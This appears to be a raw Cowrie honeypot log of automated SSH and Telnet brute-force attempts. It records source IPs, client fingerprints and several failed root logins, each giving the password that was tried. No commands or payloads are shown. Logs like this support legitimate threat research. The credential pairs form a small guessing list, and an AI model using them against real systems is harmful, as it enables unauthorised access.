{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:48.692396Z","src_ip":"163.53.168.23","session":"de8b1d03af15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweASDzxc","message":"login attempt [root/123qweASDzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:48.774430Z","src_ip":"43.135.168.126","session":"8c0f662ca8a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:48.932501Z","src_ip":"163.53.168.23","session":"de8b1d03af15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:49.846802Z","src_ip":"43.135.168.126","session":"8c0f662ca8a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kingtut","message":"login attempt [root/kingtut] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:50.504963Z","src_ip":"163.53.168.23","session":"de8b1d03af15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":36632,"dst_ip":"10.17.0.5","dst_port":22,"session":"3954f28ed89c","protocol":"ssh","message":"New connection: 3.130.168.2:36632 (10.17.0.5:22) [session: 3954f28ed89c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:04.168757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:04.176070Z","src_ip":"3.130.168.2","session":"3954f28ed89c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:04.200823Z","src_ip":"3.130.168.2","session":"3954f28ed89c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.81.22","src_port":48692,"dst_ip":"159.203.135.109","dst_port":22,"session":"eef053fb3a76","protocol":"ssh","message":"New connection: 43.163.81.22:48692 (159.203.135.109:22) [session: eef053fb3a76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:07.668170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:07.671891Z","src_ip":"43.163.81.22","session":"eef053fb3a76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:07.917212Z","src_ip":"43.163.81.22","session":"eef053fb3a76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yyy123","message":"login attempt [root/yyy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:08.932797Z","src_ip":"43.163.81.22","session":"eef053fb3a76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:10.185827Z","src_ip":"43.163.81.22","session":"eef053fb3a76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":55986,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2ff86924eae","protocol":"telnet","message":"New connection: 213.108.3.46:55986 (10.17.0.5:23) [session: a2ff86924eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:10.198549Z"}
{"eventid":"cowrie.session.closed","duration":0.013212442398071289,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:10.211629Z","src_ip":"213.108.3.46","session":"a2ff86924eae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:14.168891Z","src_ip":"3.130.168.2","session":"3954f28ed89c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.164.198","src_port":50236,"dst_ip":"159.203.135.109","dst_port":22,"session":"7423b4cb1e46","protocol":"ssh","message":"New connection: 43.135.164.198:50236 (159.203.135.109:22) [session: 7423b4cb1e46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:29.502452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:29.507333Z","src_ip":"43.135.164.198","session":"7423b4cb1e46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:29.575881Z","src_ip":"43.135.164.198","session":"7423b4cb1e46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"orangepi","message":"login attempt [root/orangepi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:29.879338Z","src_ip":"43.135.164.198","session":"7423b4cb1e46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:30.951425Z","src_ip":"43.135.164.198","session":"7423b4cb1e46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":48182,"dst_ip":"10.17.0.5","dst_port":22,"session":"c59639d9b744","protocol":"ssh","message":"New connection: 193.37.70.224:48182 (10.17.0.5:22) [session: c59639d9b744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:31.523454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:31.528301Z","src_ip":"193.37.70.224","session":"c59639d9b744","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:31.621494Z","src_ip":"193.37.70.224","session":"c59639d9b744","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kissme","message":"login attempt [root/kissme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:31.901670Z","src_ip":"193.37.70.224","session":"c59639d9b744","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:32.999029Z","src_ip":"193.37.70.224","session":"c59639d9b744","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":49646,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e587a1a04d6","protocol":"ssh","message":"New connection: 62.133.63.178:49646 (10.17.0.5:22) [session: 4e587a1a04d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:36.788362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:36.792862Z","src_ip":"62.133.63.178","session":"4e587a1a04d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:36.919328Z","src_ip":"62.133.63.178","session":"4e587a1a04d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456456","message":"login attempt [root/456456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:37.298266Z","src_ip":"62.133.63.178","session":"4e587a1a04d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:38.427813Z","src_ip":"62.133.63.178","session":"4e587a1a04d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.32.153.180","src_port":44062,"dst_ip":"10.17.0.5","dst_port":22,"session":"f15a71156a6d","protocol":"ssh","message":"New connection: 111.32.153.180:44062 (10.17.0.5:22) [session: f15a71156a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:45.586328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:45.591469Z","src_ip":"111.32.153.180","session":"f15a71156a6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:45.850658Z","src_ip":"111.32.153.180","session":"f15a71156a6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"buddy","message":"login attempt [root/buddy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:46.902086Z","src_ip":"111.32.153.180","session":"f15a71156a6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:48.160544Z","src_ip":"111.32.153.180","session":"f15a71156a6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.168.126","src_port":40016,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f1bff39b47a","protocol":"ssh","message":"New connection: 43.135.168.126:40016 (159.203.135.109:22) [session: 7f1bff39b47a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:58.642624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:58.648272Z","src_ip":"43.135.168.126","session":"7f1bff39b47a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:58.717563Z","src_ip":"43.135.168.126","session":"7f1bff39b47a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7hur@y@t3am$#@!(*(","message":"login attempt [root/7hur@y@t3am$#@!(*(] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:01:59.027283Z","src_ip":"43.135.168.126","session":"7f1bff39b47a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:00.101773Z","src_ip":"43.135.168.126","session":"7f1bff39b47a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.59.187","src_port":43608,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b16903d0bbe","protocol":"ssh","message":"New connection: 20.203.59.187:43608 (10.17.0.5:22) [session: 6b16903d0bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:02.154787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:02.162122Z","src_ip":"20.203.59.187","session":"6b16903d0bbe","protocol":"ssh"}
